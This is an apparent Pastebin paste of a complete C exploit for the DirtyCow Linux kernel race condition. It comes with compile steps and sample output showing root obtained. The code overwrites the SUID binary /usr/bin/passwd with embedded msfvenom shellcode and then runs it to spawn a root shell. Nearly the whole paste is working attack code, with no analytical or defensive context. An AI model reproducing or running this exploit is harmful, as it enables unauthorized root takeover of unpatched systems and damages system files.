Advertisement
Guest User

Untitled

a guest
Feb 20th, 2020
82
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.62 KB | None | 0 0
  1. /*
  2. *
  3. * EDB-Note: After getting a shell, doing "echo 0 > /proc/sys/vm/dirty_writeback_centisecs" may make the system more stable.
  4. *
  5. * (un)comment correct payload first (x86 or x64)!
  6. *
  7. * $ gcc cowroot.c -o cowroot -pthread
  8. * $ ./cowroot
  9. * DirtyCow root privilege escalation
  10. * Backing up /usr/bin/passwd.. to /tmp/bak
  11. * Size of binary: 57048
  12. * Racing, this may take a while..
  13. * /usr/bin/passwd is overwritten
  14. * Popping root shell.
  15. * Don't forget to restore /tmp/bak
  16. * thread stopped
  17. * thread stopped
  18. * root@box:/root/cow# id
  19. * uid=0(root) gid=1000(foo) groups=1000(foo)
  20. */
  21.  
  22. #include <stdio.h>
  23. #include <stdlib.h>
  24. #include <sys/mman.h>
  25. #include <fcntl.h>
  26. #include <pthread.h>
  27. #include <string.h>
  28. #include <unistd.h>
  29.  
  30. void *map;
  31. int f;
  32. int stop = 0;
  33. struct stat st;
  34. char *name;
  35. pthread_t pth1,pth2,pth3;
  36.  
  37. // change if no permissions to read
  38. char suid_binary[] = "/usr/bin/passwd";
  39.  
  40. /*
  41. * $ msfvenom -p linux/x86/exec CMD=/bin/bash PrependSetuid=True -f elf | xxd -i
  42. */
  43. unsigned char sc[] = {
  44. 0x7f, 0x45, 0x4c, 0x46, 0x01, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
  45. 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x03, 0x00, 0x01, 0x00, 0x00, 0x00,
  46. 0x54, 0x80, 0x04, 0x08, 0x34, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  47. 0x00, 0x00, 0x00, 0x00, 0x34, 0x00, 0x20, 0x00, 0x01, 0x00, 0x00, 0x00,
  48. 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  49. 0x00, 0x80, 0x04, 0x08, 0x00, 0x80, 0x04, 0x08, 0x88, 0x00, 0x00, 0x00,
  50. 0xbc, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00,
  51. 0x31, 0xdb, 0x6a, 0x17, 0x58, 0xcd, 0x80, 0x6a, 0x0b, 0x58, 0x99, 0x52,
  52. 0x66, 0x68, 0x2d, 0x63, 0x89, 0xe7, 0x68, 0x2f, 0x73, 0x68, 0x00, 0x68,
  53. 0x2f, 0x62, 0x69, 0x6e, 0x89, 0xe3, 0x52, 0xe8, 0x0a, 0x00, 0x00, 0x00,
  54. 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x62, 0x61, 0x73, 0x68, 0x00, 0x57, 0x53,
  55. 0x89, 0xe1, 0xcd, 0x80
  56. };
  57. unsigned int sc_len = 136;
  58.  
  59. void *madviseThread(void *arg)
  60. {
  61. char *str;
  62. str=(char*)arg;
  63. int i,c=0;
  64. for(i=0;i<1000000 && !stop;i++) {
  65. c+=madvise(map,100,MADV_DONTNEED);
  66. }
  67. printf("thread stopped\n");
  68. }
  69.  
  70. void *procselfmemThread(void *arg)
  71. {
  72. char *str;
  73. str=(char*)arg;
  74. int f=open("/proc/self/mem",O_RDWR);
  75. int i,c=0;
  76. for(i=0;i<1000000 && !stop;i++) {
  77. lseek(f,map,SEEK_SET);
  78. c+=write(f, str, sc_len);
  79. }
  80. printf("thread stopped\n");
  81. }
  82.  
  83. void *waitForWrite(void *arg) {
  84. char buf[sc_len];
  85.  
  86. for(;;) {
  87. FILE *fp = fopen(suid_binary, "rb");
  88.  
  89. fread(buf, sc_len, 1, fp);
  90.  
  91. if(memcmp(buf, sc, sc_len) == 0) {
  92. printf("%s is overwritten\n", suid_binary);
  93. break;
  94. }
  95.  
  96. fclose(fp);
  97. sleep(1);
  98. }
  99.  
  100. stop = 1;
  101.  
  102. printf("Popping root shell.\n");
  103. printf("Don't forget to restore /tmp/bak\n");
  104.  
  105. system(suid_binary);
  106. }
  107.  
  108. int main(int argc,char *argv[]) {
  109. char *backup;
  110.  
  111. printf("DirtyCow root privilege escalation\n");
  112. printf("Backing up %s.. to /tmp/bak\n", suid_binary);
  113.  
  114. asprintf(&backup, "cp %s /tmp/bak", suid_binary);
  115. system(backup);
  116.  
  117. f = open(suid_binary,O_RDONLY);
  118. fstat(f,&st);
  119.  
  120. printf("Size of binary: %d\n", st.st_size);
  121.  
  122. char payload[st.st_size];
  123. memset(payload, 0x90, st.st_size);
  124. memcpy(payload, sc, sc_len+1);
  125.  
  126. map = mmap(NULL,st.st_size,PROT_READ,MAP_PRIVATE,f,0);
  127.  
  128. printf("Racing, this may take a while..\n");
  129.  
  130. pthread_create(&pth1, NULL, &madviseThread, suid_binary);
  131. pthread_create(&pth2, NULL, &procselfmemThread, payload);
  132. pthread_create(&pth3, NULL, &waitForWrite, NULL);
  133.  
  134. pthread_join(pth3, NULL);
  135.  
  136. return 0;
  137. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement